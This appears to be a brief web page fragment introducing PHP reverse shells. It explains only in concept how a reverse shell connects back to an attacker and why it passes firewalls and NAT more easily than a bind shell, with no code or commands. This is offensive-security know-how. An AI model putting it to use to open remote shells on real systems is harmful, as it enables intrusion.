Php-reverse Shell — [upd]

1. What is a PHP Reverse Shell? A reverse shell is a type of shell where the target machine initiates a connection back to the attacker’s machine. Unlike a "bind shell" (which opens a listening port on the target), a reverse shell traverses firewalls and NAT more easily because outbound traffic is often less restricted. php-reverse shell
